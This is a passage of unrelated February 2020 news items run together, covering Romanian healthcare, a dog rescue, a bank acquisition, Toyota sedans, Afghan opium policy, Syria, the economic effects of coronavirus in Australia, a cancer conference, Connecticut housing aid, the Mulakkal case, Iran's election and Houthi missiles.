masked privatization of the medical system. A public health system functions as an emergency system, and a public hospital must exist, whether there are patients or not. A private system, although it uses the public money, has its own regime and has the possibility to refuse patients. (...) The idea of making it a business is a major problem, as it is subordinated to profit, not to the interest of providing a service for citizens," said Bogdan Hossu.He also said that, on the subject of the respective ordinance, he is waiting for the decision of the Constitutional Court, after the notification made by the Ombudsperson. AGERPRES Heidi, a German shepherd from Australia, is being praised after she helped save her owners life when his boat sank. On Thursday morning, police officers in Moreton Bay, Australia, were notified about a situation by a fisherman, who had spotted Heidi swimming in the bay next to a tackle box, a wetsuit, and more items that appeared to be from a boat that had gotten into trouble, according to a news release from the Queensland Police. Heidi was quickly pulled out of the water and taken to a veterinarian for a check-up, while Brisbane Water Police initiated a rescue operation for her owner. The pups owner, a 63-year-old man, was found clinging to a boat in Moreton Bay just hours later, according to the release. The man reportedly told police that the boat lost power on Wednesday evening and had filled up with water. Heidi, who was found to be uninjured by the vet, had amazingly been treading water for about eleven hours while she waited for help, police said. Her owner was transported to a local hospital but had no serious injuries. Queensland Police RELATED: Dog Earns the Title Green Bean Queen for Beating Health Issue by Adding Veggies to Her Diet RELATED: Hero Pit Bull Protects Young Lost Owner Until the Child Is Found by Police: Give That Dog a Bone While she waited for her owner to return from the hospital, Heidi enjoyed some food and rest at the police department and was even named an honorary police dog. We would take this opportunity to remind boaties to plan for the worst when theyre out on the water, Senior Sergeant Jay Bairstow of the Brisbane Water Police said, according to the release. Always wear [a] personal flotation device and ensure that your safety equipment [is] tested and in good order. He added: Thankfully there was a happy ending to this search and Heidi was able to be our honorary PD for the day. Acquisition Adds the Preeminent Chemicals Investment Banking Firm to Piper Sandler's Growing M&A Advisory Business Piper Sandler Companies (NYSE: PIPR), a leading investment bank, today announced that it has entered into a definitive agreement to acquire The Valence Group. The Valence Group is an innovative, entrepreneur-led global investment bank that offers M&A advisory services to companies and financial sponsors with deep expertise in chemicals, materials and related sectors. Peter Hall, Telly Zachariades, Kirk McIntosh and Ariel Levin founded The Valence Group in 2007 in New York and London after previously leading the global chemicals investment banking practice at Bear Stearns. The Valence Group will form Piper Sandler's new chemicals group, adding yet another industry-leading advisory practice to the Piper Sandler platform. The team consists of 29 professionals including the four co-founders and five additional MDs. Following the acquisition, Peter Hall will be named head of European investment banking and will lead Piper Sandler's expansion of investment banking in Europe. This represents a meaningful opportunity to leverage The Valence Group's expertise and leadership to build a stronger presence in Europe across multiple industry verticals. "The Valence Group offers tailored, differentiated and best-in-class M&A advisory services to clients across the chemicals industry. We believe there are significant opportunities to partner with The Valence Group team to increase the overall scale of the business and drive towards our goal of $1 billion in annual investment banking revenue over the next several years," said James Baker, global co-head of investment banking at Piper Sandler. Peter Hall, co-founder of The Valence Group, commented, "We are proud of the position we have established in chemicals M&A and are excited to be partnering with a firm that shares our commitment to providing quality advice based on deep sector expertise. Our team will remain the same, as will our strategy and the way we approach the market." Telly Zachariades, co-founder of The Valence Group, added, "This represents a unique opportunity for The Valence Group to accelerate its growth and further broaden its service offering to clients by aligning itself with a like-minded, high-growth, advisory-centric firm, while operating under the founders' continued leadership." The transaction is expected to close in the second quarter of 2020 and is subject to obtaining required regulatory approvals and other customary closing conditions. Piper Sandler was advised by its wholly owned subsidiary, Piper Sandler Co., and was represented by Sullivan Cromwell LLP. Houlihan Lokey served as financial advisor and Dentons as legal advisor to The Valence Group in connection with the transaction. About The Valence Group The Valence Group is a specialist investment bank offering M&A advisory services exclusively to companies and investors in the chemicals, materials and related sectors. The Valence Group team includes a unique combination of professionals with backgrounds in investment banking and strategy consulting within the chemicals and materials industries, all focused exclusively on providing M&A advisory services to the chemicals and materials sector. The firm's offices are located in New York and London. About Piper Sandler Piper Sandler is a leading investment bank and institutional securities firm driven to help clients Realize the Power of Partnership. Through a distinct combination of candid counsel, focused expertise and empowered employees, we deliver insight and impact to each and every relationship. Our proven advisory teams combine deep product and sector expertise with ready access to global capital. Founded in 1895, the firm is headquartered in Minneapolis with offices across the United States and in London, Aberdeen and Hong Kong. www.PiperSandler.com Cautionary Note Regarding Forward-Looking Information This announcement contains forward-looking statements. Statements that are not historical or current facts, including statements about beliefs and expectations, are forward-looking statements. These forward-looking statements cover, among other things, the future prospects and growth of the Company. Forward-looking statements involve inherent risks and uncertainties, and important factors could cause actual results to differ materially from those anticipated, including the following: (1) the transaction described in this announcement is subject to regulatory approval and other closing conditions and may not close on the expected timing or at all; (2) the costs or difficulties relating to the combination of the businesses may be greater than expected and may adversely affect our results of operations and financial condition and our ability to realize anticipated synergies from the transaction; (3) the expected benefits of the transaction may take longer than anticipated to achieve and may not be achieved in their entirety or at all, and will in part depend on the ability of the Company to retain and hire key personnel and maintain relationships with its clients; (4) developments in market and economic conditions have in the past adversely affected, and may in the future adversely affect, the business and profitability of the Company generally and of its investment banking business specifically; and (5) other factors identified under "Risk Factors" in Part I, Item 1A of our Annual Report on Form 10-K for the year ended December 31, 2018, and updated in our subsequent reports filed with the SEC. These reports are available at www.pipersandler.com or www.sec.gov. Forward-looking statements speak only as of the date they are made, and we undertake no obligation to update them in light of new information or future events. Piper Sandler Companies (NYSE: PIPR) is a leading investment bank and institutional securities firm driven to help clients Realize the Power of Partnership. Securities brokerage and investment banking services are offered in the U.S. through Piper Sandler Co., member SIPC and NYSE; in Europe through Piper Sandler Ltd., authorized and regulated by the U.K. Financial Conduct Authority; and in Hong Kong through Piper Sandler Hong Kong Limited, authorized and regulated by the Securities and Futures Commission. Asset management products and services are offered through separate investment advisory affiliates. Follow Piper Sandler: LinkedIn Facebook Twitter 2020. Since 1895. Piper Sandler Companies. 800 Nicollet Mall, Minneapolis, Minnesota 55402-7036 View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005051/en/ Contacts: Pamela Steensland Tel: 612 303-8185 pamela.steensland@psc.com Tim Carter Chief Financial Officer Tel: 612 303-5607 timothy.carter@psc.com As the sales go up for family cars and SUVs, automakers are slowly abandoning the sedan segment. But Toyota hasnt been one to follow suit, and they are once again defying odds by releasing new versions of the Camry and the Avalon. Toyota took advantage of slick, icy roads by releasing new all wheel drive variants for both of the vehicles. The 2020 Camry AWD is the first AWD Camry since 1991, and the first ever Avalon with AWD. The Toyota-developed Dynamic Torque Control AWD system will be available as a standalone option for the Camry LE, XLE, SE and XSE grades and on Avalon XLE and Limited grades. In recent years, the demand for vehicles with AWD has increased significantly, possibly due to the rising popularity of SUVs and crossovers. However, for sedan customers outside of the luxury segment have had relatively few AWD choices. Now, Toyota gives them two more with Camry, Americas best selling midsize sedan for 17 years, and Toyotas flagship sedan, Avalon. It should be noted, however, that the Camry AWD and Avalon AWD are only available in the U.S. The cars will be assembled exclusively at Toyota Motor Manufacturing Kentucky. Both the Camry AWD and Avalon AWD are equipped with a 2.5- liter DOHC 4 cylinder engine mated with an 8 speed Direct-Shift automatic transmission. Most of the Camry AWD variants produce about 202 hp, while the Camry XSE AWD and both Avalon AWD grades have 205 hp. As per Toyotas statement: To many car buyers, all-wheel drive may mean one thing, but there are many different AWD technologies on the market. Toyota found an ideal type of AWD for Camry and Avalon in its new-generation RAV4 compact SUV introduced for 2019. The Dynamic Torque Control AWD system provides effective traction for inclement and slippery weather while minimizing AWDs typical drag on fuel economy. Admittedly, the system name is a mouthful; Camry and Avalon models equipped with it will carry a simple AWD badge on their trunk lids. Story continues The Camry and Avalon AWD system can direct up to 50 percent of engine torque to the rear wheels, in response to acceleration from a start or slippage at the front wheels. Notably, when AWD isnt needed, such as on long highway stretches, the electromagnetic controlled coupling on the front of the rear drive axle can disengage the propeller shaft from the differential to prioritize fuel efficiency. The AWD is designed to re-engage in an instant when needed. AWD operation is transparent to the driver and passengers. On that note, the Camry and Avalon AWD models match their FWD counterparts in critical passenger space, trunk room, ride comfort, cabin quietness and vehicle agility. Also Read: The post Toyota Releases US-Exclusive AWD Camry and Avalon appeared first on Carmudi Philippines. WASHINGTON The Trump administration says it's on the brink of signing a deal with the Taliban that could pave the way for an end to America's longest war. But despite the zeal to reach a political settlement with the militant Afghan group, the White House has neglected to address a major source of instability in the country opium production according to a government watchdog. The Trump administration does not have a counternarcotics strategy for Afghanistan, the special investigator who oversees U.S. spending in Afghanistan has found, even though that country is the source for 90% of the world's heroin and the Afghan drug trade fuels a deadly insurgency against American troops. The drug trade is the Talibans cash cow. It finances the Islamic fundamentalist group's fighters and pays for the bombs and weapons used to kill U.S. and Afghan security forces. Some fear that if the opium trade is not snuffed out, any U.S.-brokered peace deal could unravel and Afghanistan could once again become a haven for terrorists. Its important that the United States have a clear, robust counternarcotics strategy in Afghanistan, because its drug trade constitutes a high-risk threat to our reconstruction and security goals there, John Sopko, special inspector general for Afghanistan reconstruction, said in a statement to USA TODAY. Afghanistans opium trade undermines our goals in several ways by financing insurgent groups, fueling government corruption, eroding the legitimacy of the Afghan government, and exacting a devastating human and financial toll. Richard Olson, a former State Department special representative for Afghanistan, said the problem must be part of the Afghanistan peace talks going forward. "The substantial revenue stream from narcotics production, which mostly flows to the Taliban right now, is actually one of the main drivers of the conflict," Olson said at a Feb. 18 forum on the emerging U.S.-Taliban deal. "And so it is absolutely an issue that will have to be addressed." Story continues 'A problem that has defied us' Olson, a senior adviser with the U.S. Institute of Peace, expressed hope that Taliban and Afghan officials will determine how to deal with that problem in their negotiations, which are set to begin after a U.S.-Taliban agreement is formalized. "If its not dealt with, its bound to impact the stability of Afghanistan over time its domestic stability and its international stability," Olson said in a follow-up interview. The U.S. government has already spent more than $8 billion to combat the drug trade in Afghanistan since 2001, and yet the country remains the worlds top producer of heroin, the resin obtained from opium. So some argue that the Trump administration may be right to throw up its hands. "It has been a problem that has defied us for all the time weve been engaged in Afghanistan," Stephen Hadley, a national security adviser in the George W. Bush administration, said at the Feb. 18 forum, hosted by the U.S. Institute of Peace. "At the end of the day, the Afghans are going to have to decide what is the right kind of counternarcotics strategy for themselves." Trump administration officials have not disclosed whether or how the opium trade will factor into the U.S.-Taliban agreement, which is tentatively set to be signed Feb. 29. But officials have described it as a relatively narrow deal in which the Taliban will agree not to let terrorists use Afghanistan as a training ground for attacks, and the U.S. will set a timetable for withdrawal. President Donald Trump serves Thanksgiving dinner to U.S. troops at Bagram Air Field during a surprise visit on Nov. 28, 2019, in Afghanistan. On Friday, Secretary of State Mike Pompeo announced that the U.S. had reached an "understanding with the Taliban on a significant and nationwide reduction in violence across Afghanistan." That seven-day truce is scheduled to begin on Friday. If it holds, it could lead to the broader deal and a phased U.S. withdrawal. "The United States and the Taliban have been engaged in extensive talks to facilitate a political settlement to end the war in Afghanistan, reduce United States and Allied Forces presence, and ensure that no terrorist group ever uses Afghan soil to threaten the United States or our allies," Pompeo said in a statement Friday. As top State Department officials pursued that political settlement, the diplomatic agency quietly shelved efforts to come up with a new plan to curb opium production in that war-torn country, according to a letter Sopko sent to key members of Congress Jan. 10. The State Department "has not revised, and has no plans to revise," an 8-year-old Obama-era counternarcotics strategy for Afghanistan, the inspector general said in his letter. Sopko reviewed the counternarcotics question at the request of Sens. Chuck Grassley, R-Iowa, and Dianne Feinstein, D-Calif. In a letter in September 2018, the senators said "a stable and peaceful Afghanistan requires a dedicated and effective counter-narcotics strategy that includes military, law enforcement, and civilian agency efforts, and has the support of the Afghan governments leadership." A spokesperson for Feinstein declined to comment on Sopko's findings. Grassley and Sen. John Cornyn, a Texas Republican and chairman of the Senate's caucus on international narcotics control, said there's no question that to date, U.S. efforts have been expensive and ineffective. But "even if we are not hitting a home run, I think we need to keep the pressure up," Cornyn said. He said he planned to respond to the inspector general's letter but did not specify how or when. Taliban's cash cow Trump administration officials told Sopko's office that its counternarcotics efforts were outlined in the administration's South Asia policy. But the inspector general said that document doesn't address the country's rampant drug production at all. "We reviewed the South Asia Strategy," the inspector general concluded. "The South Asia Strategy ... does not mention narcotics." Cornyn said the inspector general's findings were concerning. Opium is "a major source of revenue for the Taliban and the Haqqani network," Cornyn said, referring to the sophisticated militant group that has launched deadly attacks on U.S. and NATO forces stationed in Afghanistan. An estimated 18 terrorist groups operate in Afghanistan now. "I just don't think we can give up," Cornyn said. Top advisers to President Donald Trump defended the administration's approach to Afghanistan and said they have not abandoned efforts to curb opium production. "The U.S. government has invested millions of dollars over the last several years (on counternarcotics initiatives)," Lisa Curtis, Trump's top national security adviser for South and Central Asia, told USA TODAY in a forum this month. She said the Trump administration recognizes that the drug trade is a source of funding for the Taliban, "so we have tried to get at that issue and cut off that ability." "But, frankly speaking, this is a major, comprehensive problem that is intertwined with criminal networks, corruption, shortfalls in the legal system," Curtis said. "It's a very complicated issue." Alice Wells, the State Department's principal deputy assistant secretary for South and Central Asian affairs, said the U.S. has had success in building specialized law enforcement investigative units in Afghanistan that are focused on counternarcotics, among other initiatives. "But the fundamental fact is that 85% of opium production takes place in areas that are controlled or contested by the Taliban," she said during the forum, hosted by the conservative Heritage Foundation. "And so fundamentally you're going to have to address the security issue through a peace process that allows you then to tackle the root causes." The drug trade's tangled history The narcotics trade and U.S.-led efforts to tame it have a tangled history. Before toppling the fundamentalist Taliban government in Afghanistan in 2001 for sheltering Osama bin Laden, then-Secretary of State Colin Powell lauded the Taliban for virtually eliminating the opium trade in one season. But the poppy crop, which provides desperately needed cash for impoverished farmers, rebounded after the Talibans ouster. The Talibans shadow government, which controls large parts of rural Afghanistan, now relies on the drug trade to finance its insurgency. In 2018, the U.S.-led coalition estimated that as much as half of the Talibans estimated $500 million budget came from opium. As the U.S. troop presence grew from hundreds in 2001 to nearly 100,000 by 2011, the military increasingly trained its sights on opium trafficking. The poppy crop is the source for an estimated 90% of the worlds heroin. In 2008, during the last month of the George W. Bush administration, the U.S.-led NATO coalition agreed to target the drug trade. But the vast scale of poppy and marijuana farming and the more immediate threat of roadside bombs and insurgent attacks rendered the anti-drug effort a secondary mission for U.S. troops. In Helmand province in 2009, Marines who had poured into the region dodged gunfire and explosions as they patrolled fields teeming with marijuana crops and stacks of freshly picked poppies. Attacks on the labs that process poppies continued through the Obama and Trump administrations with marginal effect. In 2018, the coalition announced a campaign that targeted 73 drug labs, estimating that it had cost the Taliban $42 million in revenue. That's a fraction of the nations $1.6 billion drug trade. First, an Afghan peace deal The administration seems to be focused on reaching a peace deal first and then relying on the Taliban to help reduce opium production. State Department officials told Sopko that a political settlement could significantly improve the effectiveness of counternarcotics efforts by improving security and increasing access to areas under Taliban control where a large portion of narcotics production occurs. But experts say the U.S. won't be able to achieve a viable peace deal without addressing Afghanistan's opium production. "The drug trade is a cash cow for terrorists," Matthew Reid, a Marine Corps colonel who served in Afghanistans Helmand Province from 2017 to 2018, wrote in a recent Foreign Affairs article. Drug profits make up 65% of the Talibans revenues "and line the pockets" of several other U.S.-designated terrorist organizations, Reid wrote in the piece, co-written by Cybele Greenberg, an international economics expert. Fighting terrorism in Afghanistan is "inseparable" from moving the country away from its drug-based economy, they said. There are about 12,000 U.S. troops in Afghanistan, Esper said in January. Trump has said he wants reduce the U.S. presence to 8,600. Since the Bush administration, U.S. efforts have focused on bolstering the Afghan government so it can prevent the growth of havens for terrorists intent on attacking American interests at home and abroad. It's feared that a precipitous U.S. withdrawal would threaten the Afghan government's stability. The Trump strategy is not really a strategy," said Michael Rubin, a former Pentagon official and Middle East expert now with the American Enterprise Institute, a conservative think tank. "Trump cant decide what he wants to do anyway except get out in a way that makes him look great. Thats his goal. Rubin said Trump administration officials are correct to say the counternarcotics problem cannot be addressed while the country is still in the grip of a bloody conflict. You have to try," he said. But "you should not fool yourself into thinking its possible to really change the situation while the level of security is so low." Afghan heroin not driving US opioid epidemic In an April 2019 estimate, the Trump administration said poppy cultivation and potential opium production in Afghanistan decreased in 2018 but remained at a near record high. The drop was the result of a drought in Afghanistan and lower opium prices, according to the White House's Office of National Drug Control Policy. That statement conceded it would be difficult to achieve peace in Afghanistan without thwarting the opium trade. "The continued large-scale Afghanistan poppy cultivation and opium production further complicates the government of Afghanistans ability to maintain rule of law and promote a road to peace," the drug office stated. Government officials say heroin from Afghanistan is not the driving force behind the U.S. opioid epidemic. That crisis has been fueled by legal painkillers, heroin from Mexico and Colombia, and an even more lethal drug, fentanyl, from China. This article originally appeared on USA TODAY: Afghanistan: Watchdog says Trump lacks strategy to fight drug trade Snails crawl on the face of a woman during a demonstration of a new beauty treatment at Clinical-Salon in Tokyo. Clinical-Salon began the unique facial which offers a five-minute session with the snails crawling on the face. According to a beautician at the salon, the snail slime is believed to make one's skin supple as well as remove dry and scaly patches. (Image: Reuters) Su-24 bombers of Russias Aerospace Force delivered a strike against terrorists in the Idlib de-escalation zone who broke into Syrian territory in an attack, the Center for the Reconciliation of Opposing Sides said in a statement on Thursday, TASS reports. "In order to prevent terrorist groups from advancing deep into the Syrian territory, Su-24 aircraft of Russias Aerospace Force delivered a strike at the request of the Syrian command against the terrorists armed formations that had penetrated the area. This helped the Syrian troops to repel all the attacks successfully. They eliminated one tank, six infantry fighting vehicles and five pick-up trucks with the militants large-caliber guns," the statement reads. Four Syrian servicemen were wounded in the Turkish armys shelling, the Center reported. The shelling stopped after the Turkish side was informed through the de-confliction channel that the Russian side had exposed its artillery fire. The statement added that instances of the Turkish armys backing militants had been registered before and urged the Turkish side to refrain from delivering them armament and rendering further support in order to avoid incidents. The owner of Sydney's Strand Arcade and Melbourne's Chadstone shopping centres, Vicinity, had to downgrade its earnings this week by 2.2 per cent because nervous shoppers weren't showing up. Loading The absence of more than 120,000 Chinese tourists a month - who by next Saturday will have been locked out of the country for more than four weeks - has compounded the impact of a torrid bushfire season. Four distinct businesses, from high retail to mass travel, all responding to a crisis that has economists and governments struggling to measure its ultimate impact. The University of Sydney's Salvatore Babones puts the total figure at up to $12 billion for Australia alone, with passenger transport, business travel, tourism and education services hardest hit. "Few countries depend on the China market to such an extent as Australia," he said in research published by the Centre for Independent Studies this week. "Australia's $175 billion total exports to China constituted 37.5 per cent of all exports and 9.3 per cent of Australia's GDP." University of Technology nursing student Bella Wang is the face of what is becoming a $1.2 billion crisis for the university sector. One hundred thousand of Australia's highest-paying students have now been locked out of the country for almost a month. When Prime Minister Scott Morrison announced a week-long extension of the travel ban on Thursday, Ms Wang immediately responded: "No. OMG". "I am so disappointed," she said from China over social media service WeChat. Loading "To tell you the truth, if it weren't for all my things being in Sydney, I might choose to study in another country," she said. "It's unfair for the foreign students. We will delay a lot of time. If we don't catch up with the classes in this semester, we will delay for one year. Other countries do not ban foreign students." Babones said with each extension of the travel ban, the risk of students switching to other countries was real. Canada and the UK - Australia's rivals in the international student market - have not imposed travel bans on students. "If tens of thousands of Chinese students suddenly cancel their enrolments at Australian universities and other education service providers, they can't simply sell their places to Indian students instead, since the international student recruitment, application, approval and visa process takes place over several months, often up to a year," he said. "Nor can they easily adjust prices to new market conditions. Fungible commodities like coal are sold into global markets, but bespoke services like student places are not interchangeable." The virus is affecting more than just large multinational firms and multibillion-dollar universities. Corporate travel insurers now treat coronavirus as a "known event", which means it is excluded from their cover. That makes it more difficult for businesses to send staff into China. Australian-based businesses that rely on packaging made in China are discovering their suppliers are struggling because they cannot source enough face masks for all their workers. Australian Industry Group chief executive Innes Willox said his organisation's members were often finding it difficult to get in contact with their Chinese suppliers. The same firms are looking for alternative markets into which they can sell their products. "The problem is that everyone else is in the same position and prices are starting to be depressed by increased supply from elsewhere. Processed and fresh food as well as wine have been hit hard," he said. "Other sectors impacted include conferences, tourism and of course education and those who rely on them. Plus restaurants of course." Australian firms are also coping with temporary shortages of workers, who like students, are unable to enter the country under the government's travel ban on all non-Australian residents travelling from China. Migrant Workers Centre director Matt Kunkel said there were thousands of migrant workers with visas for Australia stuck in China. "It's a disaster really. Migrant workers are in our hospitals, our schools, our day-care centres. We can't do it without them. Coronavirus doesn't know what visa you hold." Kunkel, whose organisation advocates for workers, argues temporary migrants and students should be allowed to come to Australia and pass the same type of health-screening tests as Australian residents - in effect leaving Chinese tourists as the only people banned from entering the country. Loading "One person has been in the country for almost eight years and has gone home to China to visit their family for Lunar New Year. They have a mortgage and a job and they haven't been able to turn up." Kunkel said there was no real protection under industrial laws for events like coronavirus. "Some are being forced to take annual leave. Now that we are pushing into the fourth week there aren't enough people who are going to have enough leave to cover this," he said. In China, the impacts on the economy are clear and mounting. People have stopped travelling. Across trains, buses, planes and ordinary vehicles, the daily number of trips has plummeted by 80 per cent over the past month. That's showing up in demand for key commodities, particularly oil, which has seen a sharp drop in prices. China accounts for almost 20 per cent of global oil consumption. Another commodity at risk is coal. Power plants have slashed their output of energy as so many manufacturing plants have either remained shut since the Lunar New Year or are barely operational. That has meant demand for coal is in freefall. Globally, Oxford Economics this week put the potential cost of a coronavirus pandemic at between $US400 billion and $US1.1 trillion this calendar year. The tourism, travel and discretionary consumption sectors of all economies would suffer the biggest hits, particularly those in Asia. In its worst-case scenario, a global pandemic would drive the United States and continental Europe into a technical recession through the first half of this year. Locally, the Reserve Bank and federal Treasury are still grappling with the economic fallout for Australia, and what it means for the predicted budget surplus. Huntsman Cancer Institute to host 7th Annual Metastatic Breast Cancer Research Conference The 7th annual Metastatic Breast Cancer Research Conference will be hosted by Huntsman Cancer Institute (HCI) at the University of Utah (U of U) in partnership with Baylor College of Medicine and Theresa's Research Foundation on September 10 and 11, 2020. Participants from around the world are invited to discuss metastatic breast cancer including ongoing research and new ideas from early career scientists. Conference attendees include clinicians, researchers, advocates, and patients who hope to share information and shed light on the need for improved research focus and funding toward metastatic breast cancer, also known as stage IV breast cancer. The 2020 conference will be held in Salt Lake City under the leadership of Alana Welm, PhD, breast cancer researcher at HCI and professor of oncological sciences at the U of U. "This is one of the most important conferences every year for those of us who focus on metastatic breast cancer research," says Welm. "The unique medley between state-of-the-art clinical and laboratory research, along with incorporation of important patient perspectives, makes it a stimulating and motivating experience for all of us." The conference will feature sessions on metastatic breast cancer therapy, predictive models, drug development, and more. Invited speakers from around the world will bring their knowledge and expertise to the conference and seek to inspire conversation and collaboration to new approaches to address this challenging disease. Daily keynote address will focus on systemic regulation of metastasis and immunotherapy. "A cure for metastatic breast cancer requires a dedicated, long-term effort to find curative approaches. This conference helps to benchmark these efforts and create the collaborative research environment that is essential for success," said Matthew Ellis, MB, BCHIR, BSC., PHD, FRCP , professor and director of the Lester and Sue Smith Breast Center at Baylor College of Medicine and Conference Co-Chair. Abstract submissions are encouraged. Limited travel stipends are available for early career investigators who have an abstract accepted. The poster session will be held in partnership with the Metastasis Research Society and GRASP (Guiding Researchers and Advocates to Scientific Partnerships), so that scientists and advocates can view and discuss posters together. The Metastatic Breast Cancer Research Conference was established as a medical conference in 2014 by Theresa's Research Foundation. Past host institutions include Baylor College of Medicine, Johns Hopkins School of Medicine, the University of Kansas Medical Center, and the Mayo Clinic. The conference received philanthropic support from The Breast Cancer Research Foundation and Huntsman Cancer Foundation. ### Registration for the conference is now open. For more information, visit the conference website: http://www. metastaticbreast. org . About Huntsman Cancer Institute: Huntsman Cancer Institute (HCI) at the University of Utah is the official cancer center of Utah. The cancer campus includes a state-of-the-art cancer specialty hospital as well as two buildings dedicated to cancer research. HCI treats patients with all forms of cancer and is recognized among the best cancer hospitals in the country by U.S. News and World Report. As the only National Cancer Institute (NCI)-Designated Comprehensive Cancer Center in the Mountain West, HCI serves the largest geographic region in the country, drawing patients from Utah, Nevada, Idaho, Wyoming, and Montana. More genes for inherited cancers have been discovered at HCI than at any other cancer center in the world, including genes responsible for hereditary breast, ovarian, colon, head, and neck cancers, along with melanoma. HCI manages the Utah Population Database, the largest genetic database in the world, with information on more than 11 million people linked to genealogies, health records, and vital statistics. HCI was founded by Jon M. and Karen Huntsman. This story has been published on: 2020-02-21. To contact the author, please use the contact details within the article. HARTFORD, Conn. - Puerto Rico residents looking to relocate to Connecticut after recent natural disasters are getting financial assistance to help with housing. Democratic Connecticut Gov. Ned Lamont announced Friday that $75,000 in state funding will be allocated to provide housing support for Puerto Rican residents coming to the state after recent earthquakes on the island territory. Hartford Mayor Luke Bronin told a news conference Friday that when news of natural disasters reaches the state, thousands of residents wonder if their family members are going to be all right. He added that many in Puerto Rico also look to Connecticut as a place of refuge and a possible new home. Connecticut already has a large population of Puerto Rican descent. The money will be used to make security deposits or help with paying rent and will be distributed to non-profit organizations like Alpha Community Services in Bridgeport, Casa Otonal in New Haven, and the San Juan Center in Hartford, among others. Housing Commissioner Seila Mosquera-Bruna noted in a release that over the last few years Puerto Rican families have suffered devastating natural disasters including the recent earthquakes. Hurricane Maria a Category 5 hurricane struck the island in 2017. A day before a Kottayam court is slated to take up the discharge petition of former Jalandhar bishop Franco Mulakkal accused of raping a Kerala-based nun, a fresh charge surfaced against him on Friday. A statement by another nun from the state leaked out in which she accused him of sexual harassment. In her statement to the police, the nun, one of the witnesses in the ongoing case against Mulakkal, said that she was sexually harassed by the deposed bishop. She said she was forced to show her private parts and the bishop often used to strip during the video calls that he made to her. The nun said that these incidents occurred in 2015 after she was summoned by the bishop to discuss some important issues. She further claimed that some other nuns had also undergone similar plight but were scared to speak against the powerful bishop. I felt aversion to it as it was hurting my self-esteem. But he continued to talk utter obscene things. Later he started video chats describing his body and mine too. I was not interested in sexting but did not have the courage to oppose him as he headed our congregation, she said in her statement given to the special investigation team (SIT) probing the case. In June 2018, a 43-year-old nun, also a mother superior, had complained to the police in Kottyam that Mullakkal had raped her several times between 2014 and 2016. The nun is a member of the Missionaries of Jesus congregation based in Punjab. But Mulakkal denied her charges saying he was framed after he took action against her for financial irregularities in the convent. A Special Investigation Team (SIT) formed to probe the case arrested him on September 21, 2018, after several rounds of questioning. The priest got bail on October 16, 2018. He was later removed from the post of bishop. The SIT filed a charge sheet in the case last year which was supposed to begin on November 11 but was adjourned twice . He then filed a discharge petition seeking to quash charges against him, saying he was wrongly implicated in the case. In the present case, the nun had given the statement the SIT last year but the police did not file a separate case against Franco Mulakkal after the 36-year-old nun insisted she was not willing to pursue the charges, said a senior police officer who supervised the probe. On Friday, her detailed statement was leaked to the media by Save Our Sister Forum, an outfit fighting for reforms in the church. Supporters of Mulakkal claim the leaking of the nuns statement was part of a conspiracy as his discharge plea is coming up in the court. His discharge plea is coming up before the court on Saturday and the timing of the leak is really mysterious. This was a ploy to implicate him in more cases, said Indian Catholic Forum leader Binu Chacko. Five nuns, who sat on a fast in Kochi two years ago seeking his arrest, were not available for their comments. SHARE THIS ARTICLE ON After a week of lackluster campaigning, Iran held a parliamentary vote Feb. 21, with the country's leadership issuing persistent calls for maximum participation. State media extensively covered what they described as a passionate presence by the public, an account disputed by ordinary citizens on social media, who posted images of what they said was evidence of low turnout. According to Irans Interior Ministry, nearly 58 million out Iran's population of 83 million were eligible to elect some 290 lawmakers for the legislative body. The vote was preceded by a contentious removal of Reformist nominees allied with moderate President Hassan Rouhani. The purge by the hard-line Guardian Council had already triggered warnings from the pro-Rouhani camp about voter apathy. Had the prominent personalities been given the chance to compete, the turnout would have undoubtedly been higher, said senior pro-Rouhani parliamentarian Ali Motahari after voting in the capital Tehran. Despite being disqualified, Motahari and other top Reformists refrained from encouraging a boycott. Yet, weeks before the exclusion of the Reformists, an anticipated low turnout sparked concern. Public disillusionment has grown in recent months due to a host of grievances, ranging from slashed purchasing power and the states deadly clampdown on protests in November, to the handling of a Ukrainian plane tragedy in January, which Irans armed forces mistakenly caused by a missile attack, killing all 176 people onboard. The polls were supervised by 200,000 state-assigned monitors, as the Islamic Republic does not typically allow international observers to participate at any stage of the election process. Over a decade later, the 2009 presidential vote, which resulted in the landslide reelection though disputed of hard-line candidate Mahmoud Ahmadinejad, remains shrouded in rigging allegations. Amid those worries, the Guardian Council the authority verifying the electoral process promised the nation that it would safeguard their votes in the Feb. 21 polls. A few days ahead of the vote, Supreme Leader Ayatollah Ali Khamenei appealed to Iranians to observe their religious duty by voting. Ultraconservative cleric Ayatollah Ahmad Khatami, in his Friday prayer in Tehran on election day, insisted that the peoples vote will protect the establishment at a time when good news is coming from across the region, where Irans enemy, the United States, is being ousted by the resistance, a term Iranian officials use to describe the militias struggling against foreign forces in the Middle East. Irans top military commander Qasem Soleimani, whose Quds Force engaged in the fight against foreign forces, was killed in an American airstrike Jan. 3. According to Khatami, Soleimani's death only heightened anti-US sentiments in the region, counter to US expectations. Candidates widely played the Soleimani card in recent election campaigning, and it continued to be employed on election day as well, with the ultraconservative Tasnim News Agency reporting that Iranians voted to prove their loyalty to the slain general. But election day was not all about voting. It coincided with an announcement on the spread of the coronavirus, which has already killed at least four Iranians. Over a dozen other cases are now confirmed in Iran, figures that are expected to increase. On Feb. 19, health officials declared two deaths in Qom, 80 miles south of Tehran. Several major cities reported their own cases, an indication that in the days or weeks to come, the Iranian government could be grappling with an epidemic. The deaths have prompted school closures, provoking panic among mask-wearing residents of Tehran. Reports of suspected coronavirus cases circulated on social media weeks before the official confirmation, fueling speculation that the government was withholding information from the public to avert a panic that could have marred voter turnout. After the cover-up of the deaths in the November protests and three days of lying in the aftermath of the shooting down of the [Ukrainian] passenger plane, they are now concealing the spread of the epidemic, tweeted Mahmoud Sadeghi, an outspoken lawmaker and one of the Reformist candidates barred from the election. Why cant you stop harming the public trust? he asked government officials, who dismissed his assertion as an illusion. Source: Xinhua| 2020-02-21 17:30:03|Editor: xuxin Video Player Close RIYADH, Feb. 21 (Xinhua) -- Saudi-led coalition announced Friday it intercepted several ballistic missiles launched by Houthi militia towards Saudi cities, the Saudi Press Agency reported. Turki Al Maliki, spokesperson of the coalition, said that the missiles represented "a flagrant defiance of the International Humanitarian Law." The incident occurred after a certain period of no such attacks that usually target Saudi border cities near Yemen. Al Maliki said that Sanaa has become Houthi militia's assembly, installation and launching hub for ballistic missiles that target the kingdom. The coalition has exercised "extreme prudence and self-restraint" in dealing with such violations, the spokesperson said. The coalition will continue to apply and implement all decisive and rigorous measures, in accordance with the International Humanitarian Law, to protect the coalition states' nationals and expatriates from such attacks, the spokesperson added. Bengaluru, Feb 21 : The father of 